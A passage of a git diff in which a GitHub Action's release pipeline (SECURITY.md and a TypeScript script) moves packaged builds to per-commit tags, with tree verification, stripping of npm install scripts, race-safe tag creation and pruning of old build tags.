diff --git a/.github/SECURITY.md b/.github/SECURITY.md index 0e5b0ba9..dd8ddce8 100644 --- a/.github/SECURITY.md +++ b/.github/SECURITY.md @@ -11,14 +11,14 @@ This action holds a repository-admin token and writes repository settings, so th - Token handling. The token travels only in the Authorization header and is never printed, not even in debug traces. Any path that puts it in logs, annotations, the step summary, or outputs is a vulnerability. - Workflow-command injection. API responses and settings-file content are echoed into annotations and the step summary, escaped for workflow commands (%, CR, LF) and for summary tables (pipes, backslashes). Input that breaks out of that escaping and injects commands or forged log lines is a vulnerability. - Settings escalation. A crafted settings file must never touch a repository or setting it does not declare, nor bypass the preflight barrier or the required-sections policy. -- Supply chain. A packaged commit whose bundle a rebuild of its recorded source does not reproduce, or whose tree is not that source's minus workflows plus the bundle, is a vulnerability. The next section says what each ref points at and how to verify it. -- npm provenance. Every CI-published version of `@vivswan/github-settings-as-code` carries an npm provenance attestation naming this repository and workflow, which `npm audit signatures` checks in a project that installs it. A version without one, or whose attestation names another repository or workflow, is a vulnerability; the one exception is the hand-published bootstrap pre-release, recognizable by run number 0 in its version (`-main.0.g`). +- Supply chain. A packaged commit whose bundle a rebuild of its parent (its source commit) does not reproduce, or whose tree is not that source's plus the bundle and library build, minus `package.json`'s preparation scripts (`prepare` and the install hooks, which would make npm rebuild a `github:` install), is a vulnerability. The next section says what each ref points at and how to verify it. +- npm provenance. Every CI-published version of `@vivswan/github-settings-as-code` carries an npm provenance attestation naming this repository and workflow, which `npm audit signatures` checks in a project that installs it. A version without one, or whose attestation names another repository or workflow, is a vulnerability: every version on the registry is CI-published, and no exception exists. ## Verifying a release What a `uses:` pin points at: -- The `vX.Y.Z` tags, the moving major, and `latest` point at packaged commits on the `build` branch: the source commit's tree without its workflows, plus the bundle built from that source by the workflow run named in its message. `main` carries no executable bundle, and the packaged commits carry no workflows (consumers run the action, never this repository's workflows). +- The `vX.Y.Z` tags, the moving major, and `latest` point at packaged commits: each the child of its source commit on `main`, carrying that tree plus the bundle and library built from it, minus `package.json`'s preparation scripts, by the workflow run its message names when CI minted it (a package minted by hand in the release recovery names none; see below). `main` carries no executable bundle. - The tags up to v2.0.0 point at release commits on `main` from when `main` still committed the bundle. Nothing re-verifies them; the release-tags ruleset is what keeps them where they are. - The release-tags ruleset freezes version tags for everything except deliberate repository-admin repair. The release workflow never moves a version tag; a rerun verifies the existing one byte-for-byte. - npm publishes through trusted publishing (OIDC) from `ci.yml`. The package disallows tokens, so no registry token exists anywhere. diff --git a/.github/scripts/release-pipeline.ts b/.github/scripts/release-pipeline.ts index a73de3cf..4758f761 100644 --- a/.github/scripts/release-pipeline.ts +++ b/.github/scripts/release-pipeline.ts @@ -1,24 +1,28 @@ /** * The release pipeline's git topology. main stays source-only, no version tag ever lands on it, and every ref a - * consumer names points at a packaged commit on the `build` branch (the tags cut before that branch existed point - * at main commits from when main still committed the bundle). + * consumer names points at a packaged commit: the child of one main commit, carrying that commit's build. * - * packaged commit = source tree - .github/workflows - package.json's preparation scripts + lib/index.js + lib/pkg/, `Source: ` trailer - * refs/heads/build root (no parent) -> chain commit -> chain commit ... only ever advances - * refs/tags/latest -> the chain commit whose source is the newest on main - * refs/tags/vX.Y.Z -> the chain commit whose source is the release's merge commit; never moved - * refs/tags/vX -> the same commit, force-moved on each release; retagMajor refuses a step backward + * packaged commit = parent: the main commit; tree: its tree + lib/index.js + lib/pkg/, package.json minus its preparation scripts + * refs/tags/build/. -> the packaged commit of the main commit at first-parent position ; created once, never moved; the ten newest kept + * refs/tags/latest -> the packaged commit of the newest main commit + * refs/tags/vX.Y.Z -> the packaged commit of the release's merge commit; never moved + * refs/tags/vX -> the same commit, moved on each release in the line + * + * Every artifact is a function of its main commit alone, so runs for different commits never wait on each other + * and a rerun mints the same name and verifies instead of appending. latest and vX move through movePointer alone: + * forward along main, under a compare-and-set on the value origin advertised, never back. The `build` branch that + * carried a chain of packaged commits before the tags is history: this script never reads it, and the owner + * deletes it once every consumer has repinned. * * release-please cuts the DRAFT release without a tag (`draft` on, `force-tag-creation` off); one subcommand runs * per workflow step: * - * advance-build post-green.yml GITHUB_SHA, RUN_URL (optional) + * package-commit post-green.yml GITHUB_SHA, RUN_URL (optional) * prerelease-version post-green.yml GITHUB_SHA * npm-verdict next post-green.yml GITHUB_SHA, NPM_REGISTRY_URL (optional) * npm-confirm next post-green.yml GITHUB_SHA, NPM_REGISTRY_URL (optional) * npm-verdict stable update-release.yml TAG, GITHUB_SHA, NPM_REGISTRY_URL (optional) * package, retag-major update-release.yml TAG, GITHUB_SHA, RUN_URL (optional, package only) - * verify update-release.yml TAG, GITHUB_SHA * anchor update-release-pr.yml GITHUB_SHA * boundary-check, anchor-check checks.yml (the checkout alone) * @@ -26,41 +30,31 @@ */ import { execFileSync } from "node:child_process"; -import { existsSync, readdirSync, readFileSync, rmSync, writeFileSync } from "node:fs"; +import { existsSync, readFileSync, rmSync, writeFileSync } from "node:fs"; import { join } from "node:path"; import { setTimeout as sleep } from "node:timers/promises"; const MANIFEST_FILE = ".release-please-manifest.json"; const CONFIG_FILE = "release-please-config.json"; -/** What a chain commit carries beyond its source: the action bundle and the library build (a directory entry - * stages every file under it). */ +const MANIFEST = "package.json"; +/** What a packaged commit carries beyond its source (a directory entry stages every file under it). */ const PACKAGED_PATHS = ["lib/index.js", "lib/pkg/"] as const; -/** What every chain commit ever minted carries: the bundle `uses:` consumers run. */ -const ACTION_BUNDLE = "lib/index.js"; -/** What a ref minted or confirmed HERE must carry as non-empty regular files; the chain commits minted before the - * library rode along carry the bundle alone and stay valid parents. */ -const REQUIRED_BUILT_FILES = [ACTION_BUNDLE, "lib/pkg/index.js"] as const; -/** The packaged paths as the messages name them. */ +/** What every packaged commit must carry as non-empty regular files. */ +const REQUIRED_BUILT_FILES = ["lib/index.js", "lib/pkg/index.js"] as const; const PACKAGED = "lib/index.js and lib/pkg/"; -/** No chain commit carries a workflow file: GitHub judges each pushed commit's diff against its parent and refuses a - * workflow-file change to a token without the workflows grant. Consumers run the action, not the workflows. - * a chain commit against its parent -> no workflow change, so the default GITHUB_TOKEN can push it - * the first chain commit as its source's CHILD -> would record the workflows' deletion; hence a ROOT instead */ -const WORKFLOWS_DIR = ".github/workflows"; -const BUILD_REF = "refs/heads/build"; -const BUILD_REMOTE = "refs/remotes/origin/build"; const LATEST_REF = "refs/tags/latest"; -/** Never --depth: a depth-limited fetch marks the commit it lands on shallow, cutting its parent links in this - * clone, and assertOnChain walks those links, so a release behind a shallow-marked latest would read as off build. - * The bundle blob a check needs arrives on demand, or with the commit on a server without filter support. */ +const BUILD_TAG_PREFIX = "refs/tags/build/"; +const BUILD_TAG = /^refs\/tags\/build\/([1-9]\d*)\.[0-9a-f]{7}$/; +/** How many build tags stay; releases and latest keep their own commits. */ +export const KEPT_BUILD_TAGS = 10; +/** Never --depth: a depth-limited fetch marks the commit it lands on shallow and cuts the parent link every package + * check reads. Blobs arrive on demand, or with the commit on a server without filter support. */ const TAG_FETCH = ["--filter=blob:none"]; /** A squash-merged release-please PR's subject on main. Anchored at both ends wherever release merges are recognized: * a prefix match would let "chore(main): release pipeline documentation" impersonate one and park the boundary check. */ const RELEASE_SUBJECT = /^chore\(main\): release (\d+\.\d+\.\d+)(?: \(#\d+\))?$/; - -/** The one spelling of a commit the pipeline writes and compares: chain lookups match the Source trailer as a string - * against rev-list's output, so an abbreviated, uppercase, or symbolic name git would resolve is still not a match. */ const FULL_SHA = /^[0-9a-f]{40}$/; +const PUSH_ATTEMPTS = 3; function git(cwd: string, ...args: string[]): string { return gitWithEnv(cwd, {}, ...args); @@ -84,61 +78,24 @@ function gitFailure(args: string[], error: unknown): Error { return new Error(`git ${args.join(" ")} failed${detail}`); } -/** The server's compare-and-set diagnostic: the ref moved, or was created, after it was advertised. */ -const LOCK_LOST = - "cannot lock ref '[^']+': (?:is at [0-9a-f]+ but expected [0-9a-f]+|reference already exists)"; -/** The one push failure a retry can win: the remote ref moved after this run observed it. Each form is anchored to - * its own line shape, so a hook message quoting the same words on another line cannot match, and a - * `[remote rejected]` line with any other reason (a hook or ruleset decline) matches none. - * - * ! [rejected] ... (fetch first|non-fast-forward|stale info) the client saw the move - * remote: error: cannot lock ref ... stock git's server-side race, on its own line - * ! [remote rejected] ... (cannot lock ref ...) GitHub's, in the status line */ -const OVERTAKEN_PUSH = new RegExp( - [ - String.raw`^\s*!\s+\[rejected\]\s.*\((?:fetch first|non-fast-forward|stale info)\)\s*$`, - String.raw`^remote: error: ${LOCK_LOST}\s*$`, - String.raw`^\s*!\s+\[remote rejected\]\s.*\(${LOCK_LOST}\)\s*$`, - ].join("|"), - "m", -); - -/** The one place git's stderr is read for "overtaken", so no caller matches strings itself; every other push - * failure (no write access, a ruleset decline, a transport error) is permanent and thrown. */ -function pushUnlessOvertaken( - cwd: string, - ...pushArgs: string[] -): { landed: true } | { landed: false; stderr: string } { - const args = ["push", ...pushArgs]; - try { - execFileSync("git", args, { cwd, encoding: "utf8" }); - return { landed: true }; - } catch (error) { - const stderr = (error as { stderr?: unknown }).stderr; - if (typeof stderr === "string" && OVERTAKEN_PUSH.test(stderr)) { - return { landed: false, stderr: stderr.trim() }; - } - throw gitFailure(args, error); - } -} - -function gitYesNo(cwd: string, ...args: string[]): boolean { +/** git's stdout, or null when it exited 1 (a "no" from --verify, --is-ancestor, and the like); any other failure + * is thrown, so a repository git cannot read never passes for one without the object. */ +function gitOrNo(cwd: string, ...args: string[]): string | null { try { - execFileSync("git", args, { cwd, encoding: "utf8", stdio: ["ignore", "ignore", "pipe"] }); - return true; + return execFileSync("git", args, { + cwd, + encoding: "utf8", + stdio: ["ignore", "pipe", "pipe"], + }).trim(); } catch (error) { if ((error as { status?: unknown }).status === 1) { - return false; + return null; } throw gitFailure(args, error); } } -/** No encoding: the bundle comparison must be byte-exact. */ -function gitBytes(cwd: string, ...args: string[]): Buffer { - return execFileSync("git", args, { cwd }); -} - +/** git's stdout, or null on any failure: for reads whose absence git reports with exit 128 (a missing path). */ function tryGit(cwd: string, ...args: string[]): string | null { try { return execFileSync("git", args, { @@ -151,6 +108,17 @@ function tryGit(cwd: string, ...args: string[]): string | null { } } +/** A push as git ran it. A refusal is never read from git's words: the caller re-reads origin, and a ref that + * moved since it was observed is a lost compare-and-set to retry, an unmoved one a refusal to throw. */ +function push(cwd: string, ...pushArgs: string[]): Error | null { + try { + execFileSync("git", ["push", ...pushArgs], { cwd, encoding: "utf8" }); + return null; + } catch (error) { + return gitFailure(["push", ...pushArgs], error); + } +} + /** The identity the pipeline's own commits carry, passed per invocation: written into a checkout's config it would * outlive the run and stamp every later commit made from that repository, or any worktree sharing it. */ const BOT_IDENTITY = { @@ -172,103 +140,69 @@ function releaseMajor(tag: string): string { return `v${match[1]}`; } -/** A consumable ref must carry each of `files` as a non-empty REGULAR file: a symlink or a gitlink at that path has - * a size too, and no build. An existing chain commit is held to the action bundle alone (pre-library commits stay - * valid parents); what this run mints or confirms, to the whole required set. */ -function assertCarries(cwd: string, treeish: string, files: readonly string[]): void { - for (const file of files) { - // ls-tree answers a missing path with empty output and exit 0; a failing call (a missing object, a transport - // error) must propagate, never read as "no bundle". - const entry = git(cwd, "ls-tree", "-l", treeish, "--", file); - const [mode = "", , , size] = entry.split(/\s+/); - const regularFile = mode === "100644" || mode === "100755"; - if (!regularFile || Number(size) === 0) { - const found = entry === "" ? "no entry" : `entry ${entry.split("\t")[0]}`; - throw new Error( - `${treeish} does not carry a non-empty regular-file ${file} (${found}); refusing to point a consumable ref at an unpackaged commit.`, - ); - } +/** Verdicts on a truncated history do not hold; the jobs check out with fetch-depth 0. */ +function assertFullHistory(cwd: string, what: string, consequence: string): void { + if (git(cwd, "rev-parse", "--is-shallow-repository") === "true") { + throw new Error( + `${what} needs the full history (fetch-depth: 0) and this checkout is shallow: ${consequence}`, + ); } } -function isPackagedPath(path: string): boolean { - return PACKAGED_PATHS.some((packaged) => - packaged.endsWith("/") ? path.startsWith(packaged) : path === packaged, +/** merge-base fails outright on a sha this checkout lacks, so unknown ones are screened into a plain "no" first. */ +function isAncestor(cwd: string, ancestor: string, descendant: string): boolean { + return ( + [ancestor, descendant].every((sha) => resolveCommit(cwd, sha) !== null) && + gitOrNo(cwd, "merge-base", "--is-ancestor", ancestor, descendant) !== null ); } -/** Every blob under the packaged paths in a tree, in git's own order. */ -function packagedEntries( - cwd: string, - treeish: string, -): { mode: string; blob: string; path: string }[] { - return git(cwd, "ls-tree", "-r", treeish, "--", ...PACKAGED_PATHS) - .split("\n") - .filter((line) => line !== "") - .map((line) => { - const [meta = "", path = ""] = line.split("\t"); - const [mode = "", , blob = ""] = meta.split(/\s+/); - return { mode, blob, path }; - }); +/** The commit a name resolves to, or null for none (a sha the checkout lacks, or a short one naming several objects). */ +function resolveCommit(cwd: string, name: string): string | null { + return gitOrNo(cwd, "rev-parse", "--verify", "--quiet", `${name}^{commit}`); } -/** The regular files the build left under the packaged paths in the checkout, as tree paths, sorted. */ -function builtPaths(cwd: string): string[] { - const paths: string[] = []; - const walk = (relative: string): void => { - for (const entry of readdirSync(join(cwd, relative), { withFileTypes: true })) { - const path = `${relative}${entry.name}`; - if (entry.isDirectory()) { - walk(`${path}/`); - } else if (entry.isFile()) { - paths.push(path); - } - } - }; - for (const packaged of PACKAGED_PATHS) { - if (!existsSync(join(cwd, packaged))) { - continue; - } - if (packaged.endsWith("/")) { - walk(packaged); - } else { - paths.push(packaged); +/** The required build files as non-empty REGULAR files: a symlink or a gitlink at that path has a size too, and no build. */ +function assertCarries(cwd: string, treeish: string, what: string, remedy: string): void { + for (const file of REQUIRED_BUILT_FILES) { + // ls-tree answers a missing path with empty output and exit 0; a failing call must propagate. + const entry = git(cwd, "ls-tree", "-l", treeish, "--", file); + const [mode = "", , , size] = entry.split(/\s+/); + if ((mode !== "100644" && mode !== "100755") || Number(size) === 0) { + throw new Error( + `${what} does not carry a non-empty regular-file ${file} (${entry === "" ? "no entry" : `entry ${entry.split("\t")[0]}`}); refusing to point a consumable ref at an unpackaged commit; ${remedy}`, + ); } } - return paths.sort(); } -/** Assembled in a private index read from sourceSha's tree, so nothing beyond that tree but the build outputs can - * enter and the checkout's own index stays untouched. `manifest: "source"` keeps package.json as the source has it, - * the shape of the chain commits minted before the prepare strip, which an existing tip is also held against. */ -function treePlusBundle( +/** The scripts npm's git fetcher (pacote) takes as a signal to run `npm install --include=dev` and the prepare + * lifecycle in a `github:` dependency's checkout; the packaged commit ships the build already. */ +const PREPARATION_SCRIPTS = ["prepare", "prepack", "build", "preinstall", "install", "postinstall"]; + +/** sourceSha's tree plus `addBuild`'s entries, with package.json's preparation scripts removed, assembled in a + * private index so nothing else can enter and the checkout's own index stays untouched. */ +function packagedTreeOf( cwd: string, sourceSha: string, addBuild: (env: Record) => void, - manifest: "stripped" | "source" = "stripped", ): string { const indexFile = join(git(cwd, "rev-parse", "--absolute-git-dir"), "release-pipeline.index"); const env = { GIT_INDEX_FILE: indexFile }; try { gitWithEnv(cwd, env, "read-tree", sourceSha); - // -f: the private index carries no stat data, so without it git would hold the entries against the worktree and refuse. - gitWithEnv( - cwd, - env, - "rm", - "-r", - "-q", - "-f", - "--cached", - "--ignore-unmatch", - "--", - WORKFLOWS_DIR, - ); - if (manifest === "stripped") { - const blob = strippedManifestBlob(cwd, sourceSha); - if (blob !== null) { - gitWithEnv(cwd, env, "update-index", "--add", "--cacheinfo", `100644,${blob},${MANIFEST}`); + const text = tryGit(cwd, "show", `${sourceSha}:${MANIFEST}`); + const pkg = text === null ? null : (JSON.parse(text) as { scripts?: Record }); + if (pkg?.scripts && PREPARATION_SCRIPTS.some((name) => name in (pkg.scripts ?? {}))) { + for (const name of PREPARATION_SCRIPTS) { + delete pkg.scripts[name]; } + const blob = execFileSync("git", ["hash-object", "-w", "--stdin"], { + cwd, + input: `${JSON.stringify(pkg, null, 2)}\n`, + encoding: "utf8", + }).trim(); + gitWithEnv(cwd, env, "update-index", "--add", "--cacheinfo", `100644,${blob},${MANIFEST}`); } addBuild(env); return gitWithEnv(cwd, env, "write-tree"); @@ -277,312 +211,375 @@ function treePlusBundle( } } -const MANIFEST = "package.json"; - -/** The scripts npm's git fetcher (pacote) takes as a signal to run `npm install --include=dev` and the prepare - * lifecycle in a `github:` dependency's checkout; the packaged commit ships the build already. */ -export const PREPARATION_SCRIPTS = [ - "prepare", - "prepack", - "build", - "preinstall", - "install", - "postinstall", -]; - -/** sourceSha's package.json without its preparation scripts, written to the object store; null when it has none. */ -function strippedManifestBlob(cwd: string, sourceSha: string): string | null { - const text = tryGit(cwd, "show", `${sourceSha}:${MANIFEST}`); - if (text === null) { - return null; - } - const pkg = JSON.parse(text) as { scripts?: Record }; - const scripts = pkg.scripts; - const present = PREPARATION_SCRIPTS.filter((name) => scripts !== undefined && name in scripts); - if (scripts === undefined || present.length === 0) { - return null; - } - for (const name of present) { - delete scripts[name]; - } - return execFileSync("git", ["hash-object", "-w", "--stdin"], { - cwd, - input: `${JSON.stringify(pkg, null, 2)}\n`, - encoding: "utf8", - }).trim(); -} - -function workflowPaths(cwd: string, treeish: string): string[] { - return git(cwd, "ls-tree", "-r", "--name-only", treeish, "--", WORKFLOWS_DIR) - .split("\n") - .filter((path) => path !== ""); -} - -/** The one definition of "packaged is source's package", by tree identity rather than a path diff: a diff lists - * paths, so an extra empty subtree hides from it, while no tree object hides from its own id. */ -function assertPackages( +/** + * `packaged` is a package of `sourceSha` as this pipeline mints them: its child (the parent edge is the one record + * of the source), carrying the source's tree plus the build outputs and the stripped manifest, nothing else, every + * required build file a regular file. With `built`, the tree this checkout's fresh build produced, the packaged tree + * must be that tree byte for byte (a tree id names every byte and mode under it). + */ +function assertPackageOf( cwd: string, packaged: string, - source: string, - ref: string, + sourceSha: string, + what: string, remedy: string, + built?: string, ): void { - assertCarries(cwd, packaged, [ACTION_BUNDLE]); - const entries = packagedEntries(cwd, packaged); - const stage = (env: Record): void => { - for (const { mode, blob, path } of entries) { + const parents = git(cwd, "log", "-1", "--format=%P", packaged).split(" ").filter(Boolean); + if (parents.length !== 1 || parents[0] !== sourceSha) { + throw new Error( + `${what} has ${parents.length === 0 ? "no parent" : `parent ${parents.join(", ")}`}, so it is no package of ${sourceSha} (a packaged commit is that commit's child); ${remedy}`, + ); + } + const actual = git(cwd, "rev-parse", `${packaged}^{tree}`); + if (built !== undefined && actual === built) { + return; + } + // Rebuilt from the source with the packaged commit's own build entries: tree identity, so an empty subtree a + // path diff cannot list still differs. + const entries = git(cwd, "ls-tree", "-r", packaged, "--", ...PACKAGED_PATHS) + .split("\n") + .filter(Boolean); + const expected = packagedTreeOf(cwd, sourceSha, (env) => { + for (const line of entries) { + const [meta = "", path = ""] = line.split("\t"); + const [mode = "", , blob = ""] = meta.split(/\s+/); gitWithEnv(cwd, env, "update-index", "--add", "--cacheinfo", `${mode},${blob},${path}`); } - }; - const expected = treePlusBundle(cwd, source, stage); - const actual = git(cwd, "rev-parse", `${packaged}^{tree}`); - // COMPAT(v3): bundle-only chain commits stay valid parents; delete this arm, the assertCarries above, REQUIRED_BUILT_FILES' parent clause, and the legacy-chain test. - // A commit that carries lib/pkg/ was minted after the strip and is held to it. - const legacy = - !entries.some(({ path }) => path.startsWith("lib/pkg/")) && - actual === treePlusBundle(cwd, source, stage, "source"); - if (actual !== expected && !legacy) { - // An unchanged workflow file never shows in the diff against the source, so every workflow path still in the tree - // is listed as kept; package.json is listed unless it is exactly the source's minus its preparation scripts. - const stripped = strippedManifestBlob(cwd, source); - const manifestBlob = tryGit(cwd, "rev-parse", `${packaged}:${MANIFEST}`); - // Kept preparation scripts leave package.json identical to the source's, so the diff cannot list it either. - const keptPrepare = - stripped !== null && manifestBlob === tryGit(cwd, "rev-parse", `${source}:${MANIFEST}`); - const changed = git(cwd, "diff", "--no-renames", "--name-only", source, packaged) - .split("\n") - .filter( - (path) => - path !== "" && - !isPackagedPath(path) && - !path.startsWith(`${WORKFLOWS_DIR}/`) && - !(path === MANIFEST && stripped !== null && manifestBlob === stripped), - ) - .concat(workflowPaths(cwd, packaged).map((path) => `${path} (kept)`)) - .concat(keptPrepare ? [`${MANIFEST} (preparation scripts kept)`] : []); - const listed = - changed.length === 0 - ? "none (an entry a path diff cannot list, such as an empty subtree)" - : changed.join(", "); + }); + if (actual !== expected) { + throw new Error( + `${what} is not ${sourceSha} plus ${PACKAGED}, minus ${MANIFEST}'s preparation scripts, alone: its tree is ${actual}, the rebuilt one is ${expected} (git diff ${expected} ${packaged} lists what deviates); ${remedy}`, + ); + } + assertCarries(cwd, packaged, what, remedy); + if (built !== undefined) { throw new Error( - `${ref} is not ${source} plus ${PACKAGED}, minus ${MANIFEST}'s preparation scripts, and the removal of ` + - `${WORKFLOWS_DIR}/ alone: its tree is ${actual}, the rebuilt one is ${expected} ` + - `(paths beyond those changed relative to ${source}: ${listed}); ${remedy}`, + `${what} packages ${sourceSha}, but its tree ${actual} is not the tree ${built} this checkout's build packages, ` + + `so the two differ under ${PACKAGED}: either the commit was not built from this source or the build is not ` + + `reproducible. Diff the two trees by hand; ${remedy}`, ); } } /** The checkout must BE sourceSha with a clean worktree: that is what makes the build outputs a build of that source * rather than of a by-hand edit. They are gitignored, so they never show as pending. */ -function packagedTree(cwd: string, sourceSha: string): string { +function builtTree(cwd: string, sourceSha: string): string { const head = git(cwd, "rev-parse", "HEAD"); if (head !== sourceSha) { throw new Error(`the checkout is at ${head}, not the source commit ${sourceSha} to package.`); } - for (const file of REQUIRED_BUILT_FILES) { - if (!existsSync(join(cwd, file))) { - throw new Error(`${file} is not built; run the build before packaging.`); - } - } const dirty = git(cwd, "status", "--porcelain").split("\n").filter(Boolean); if (dirty.length > 0) { throw new Error( `the worktree has pending changes beyond ${PACKAGED} (${dirty.join("; ")}); the build must be a build of ${sourceSha} alone - commit, stash, or clean them first.`, ); } - // -f: main gitignores the build outputs - const tree = treePlusBundle(cwd, sourceSha, (env) => - gitWithEnv(cwd, env, "add", "-f", "--", ...PACKAGED_PATHS), - ); - assertCarries(cwd, tree, REQUIRED_BUILT_FILES); - const leaked = workflowPaths(cwd, tree); - if (leaked.length > 0) { - throw new Error( - `the packaged tree ${tree} still carries ${leaked.join(", ")}; a chain commit must carry no ${WORKFLOWS_DIR}/ (GitHub refuses the push to any token without the workflows grant, and consumers run the action, not the workflows).`, - ); - } + // -f: main gitignores the build outputs; a path the build left out is reported by the carry check, not by git add. + const built = PACKAGED_PATHS.filter((path) => existsSync(join(cwd, path))); + const tree = packagedTreeOf(cwd, sourceSha, (env) => { + if (built.length > 0) { + gitWithEnv(cwd, env, "add", "-f", "--", ...built); + } + }); + assertCarries(cwd, tree, `the build of ${sourceSha}`, "run the build before packaging."); return tree; } -function sourceTrailer(cwd: string, sha: string): string { - return git(cwd, "log", "-1", "--format=%(trailers:key=Source,valueonly)", sha); +/** A plain fetch does not deepen a shallow clone, so ancestry against this head holds only on a full checkout. */ +function fetchMainHead(cwd: string): string { + git(cwd, "fetch", "--quiet", "origin", "refs/heads/main"); + return git(cwd, "rev-parse", "FETCH_HEAD"); } -function commitChain( - cwd: string, - tree: string, - parent: string | null, - sourceSha: string, - runUrl: string | undefined, -): string { - const trailers = [`Source: ${sourceSha}`]; - if (runUrl !== undefined) { - trailers.push(`Workflow-run: ${runUrl}`); +function assertOnMain(cwd: string, sourceSha: string, refusal: string): void { + const mainHead = fetchMainHead(cwd); + if (!isAncestor(cwd, sourceSha, mainHead)) { + throw new Error( + `${sourceSha} is not on origin's main (its head is ${mainHead}); refusing to ${refusal}.`, + ); } - const subject = `build: main at ${git(cwd, "rev-parse", "--short", sourceSha)}`; - const parents = parent === null ? [] : ["-p", parent]; - return gitWithEnv( - cwd, - BOT_IDENTITY, - "commit-tree", - ...parents, - "-m", - subject, - "-m", - trailers.join("\n"), - tree, - ); } -interface BuildTip { - tip: string | null; - /** Read AFTER the tip, so a commit landing between the two reads postdates the tip rather than the refresh. */ - mainHead: string; +/** A ref as origin advertises it: the id a lease holds against, and the commit it peels to (an annotated tag's id + * is not its commit's). Both empty when the ref does not exist. */ +function observeRemote(cwd: string, ref: string): { id: string; peeled: string } { + let id = ""; + let peeled = ""; + for (const line of git(cwd, "ls-remote", "origin", ref, `${ref}^{}`).split("\n")) { + const [sha = "", name] = line.split("\t"); + if (name === ref) { + id = sha; + } else if (name === `${ref}^{}`) { + peeled = sha; + } + } + return { id, peeled: peeled === "" ? id : peeled }; } -/** A chain commit and the main commit its Source trailer names, as a full sha. */ -interface ChainCommit { +/** Bring an observed ref's commit into this clone by the ref's name (origin serves no fetch by arbitrary sha). The + * ref can move or vanish between the observation and the fetch; the caller re-observes and decides again then. A + * fetch that fails with the ref standing where it was read is thrown. */ +function fetchObserved(cwd: string, ref: string, observedId: string): boolean { + try { + git(cwd, "fetch", "--quiet", ...TAG_FETCH, "origin", `+${ref}:${ref}`); + } catch (error) { + if (observeRemote(cwd, ref).id === observedId) { + throw error; + } + return false; + } + return git(cwd, "rev-parse", ref) === observedId; +} + +/** A packaged commit and the main commit it packages (its parent). */ +interface Packaged { commit: string; source: string; } -/** The chain is rooted, so a blobless fetch of build brings only chain commits and their trees. Main's head rides - * along because the tip's source can be newer than this checkout knows (a stale rerun, a lost push race) and a - * Source trailer is no ancestry edge: "on main" is granted only to a source reachable from that head. */ -function readBuildTip(cwd: string): BuildTip { - // A standalone git() propagates a failing ls-remote, so a transport error cannot read as "build does not exist yet". - let tip: string | null = null; - if (git(cwd, "ls-remote", "origin", BUILD_REF) !== "") { - git(cwd, "fetch", "--quiet", "--filter=blob:none", "origin", `+${BUILD_REF}:${BUILD_REMOTE}`); - tip = git(cwd, "rev-parse", BUILD_REMOTE); +interface EnsuredTag extends Packaged { + created: boolean; + ref: string; +} + +/** + * A tag that exists exactly once: an existing one is fetched and `verify`d, an absent one is created with a plain + * push (no force, no lease) on the commit `mint` returns. git refuses the push once the tag exists, so the loser of + * two runs verifies the winner's commit as a rerun does. A ref that vanishes or moves mid-read is read again, and so + * is a refused create whose ref is absent on the re-read (a rival created and pruned it in between, or the push was + * refused for good: the two look alike, so the refusal is thrown only once every attempt is spent). + */ +function ensureTag( + cwd: string, + ref: string, + source: string, + mint: () => string, + verify: (peeled: string) => void, +): EnsuredTag { + let refused: Error | null = null; + for (let attempt = 1; attempt <= PUSH_ATTEMPTS; attempt++) { + const observed = observeRemote(cwd, ref); + if (observed.id !== "") { + if (!fetchObserved(cwd, ref, observed.id)) { + continue; + } + verify(observed.peeled); + return { created: false, ref, commit: observed.peeled, source }; + } + const commit = mint(); + refused = push(cwd, "origin", `${commit}:${ref}`); + if (refused === null) { + return { created: true, ref, commit, source }; + } } - return { tip, mainHead: fetchMainHead(cwd) }; + throw ( + refused ?? + new Error( + `${ref} kept changing under this run through ${PUSH_ATTEMPTS} reads; something keeps creating and deleting it - rerun this job once it settles.`, + ) + ); } -/** A plain fetch does not deepen a shallow clone, so an ancestry verdict against this head holds only on a full - * checkout: the package and advance-build jobs check out with fetch-depth 0 (advanceBuild refuses a shallow one - * outright), and verifyPublishedRefs' depth-1 clone reads the head without judging ancestry against it. */ -function fetchMainHead(cwd: string): string { - git(cwd, "fetch", "--quiet", "origin", "refs/heads/main"); - return git(cwd, "rev-parse", "FETCH_HEAD"); +const BUILD_REMEDY = + "no run replaces a packaged commit it did not mint; if the build is wrong, delete the tag by hand and rerun."; + +/** sourceSha's packaged commit under its build tag: this checkout's build `tree` as the source's child, minted once. + * Both parts of the name are the commit's own, so every run for one commit names one tag. */ +function ensurePackaged(cwd: string, sourceSha: string, tree: string, runUrl?: string): EnsuredTag { + const ref = `${BUILD_TAG_PREFIX}${mainPosition(cwd, sourceSha).count}.${sourceSha.slice(0, 7)}`; + return ensureTag( + cwd, + ref, + sourceSha, + () => + gitWithEnv( + cwd, + BOT_IDENTITY, + "commit-tree", + "-p", + sourceSha, + "-m", + `build: main at ${git(cwd, "rev-parse", "--short", sourceSha)}`, + ...(runUrl === undefined ? [] : ["-m", `Workflow-run: ${runUrl}`]), + tree, + ), + (peeled) => assertPackageOf(cwd, peeled, sourceSha, `${ref} (${peeled})`, BUILD_REMEDY, tree), + ); } -/** Each source the chain packages, mapped to the newest chain commit packaging it. The pipeline appends a source - * only after finding no commit for it, so a second commit for one source can only be a hand push. */ -function chainPackaging(cwd: string): Map { - const packaging = new Map(); - const log = git(cwd, "log", "--format=%H%x09%(trailers:key=Source,valueonly)", BUILD_REMOTE); - for (const line of log.split("\n")) { - const [commit = "", source = ""] = line.split("\t"); - if (commit !== "" && source !== "" && !packaging.has(source)) { - packaging.set(source, commit); - } +/** The build tags beyond the `keep` newest by position, deleted in one push. Two runs pruning at once commute: the + * server answers the deletion of a ref a rival deleted first with a warning, not a refusal. A ref under build/ this + * pipeline would not name stops the prune: sorted in, it could push a genuine tag out of the window. */ +export function pruneBuildTags(cwd: string, keep = KEPT_BUILD_TAGS): string[] { + const refs = git(cwd, "ls-remote", "origin", `${BUILD_TAG_PREFIX}*`) + .split("\n") + .map((line) => line.split("\t")[1] ?? "") + .filter((ref) => ref !== "" && !ref.endsWith("^{}")) + .map((ref) => { + const position = Number(ref.match(BUILD_TAG)?.[1]); + if (Number.isNaN(position)) { + throw new Error( + `origin holds ${ref}, which is not a build/. tag this pipeline names; delete it by hand.`, + ); + } + return { ref, position }; + }) + .sort((a, b) => b.position - a.position || a.ref.localeCompare(b.ref)) + .slice(keep) + .map((tag) => tag.ref); + if (refs.length > 0) { + git(cwd, "push", "origin", ...refs.map((ref) => `:${ref}`)); } - return packaging; + return refs; } -const BY_HAND = - "refusing to build on a build branch this pipeline did not mint - inspect it by hand."; +export interface PointerMove { + ref: string; + /** Where the pointer is when the move ends. 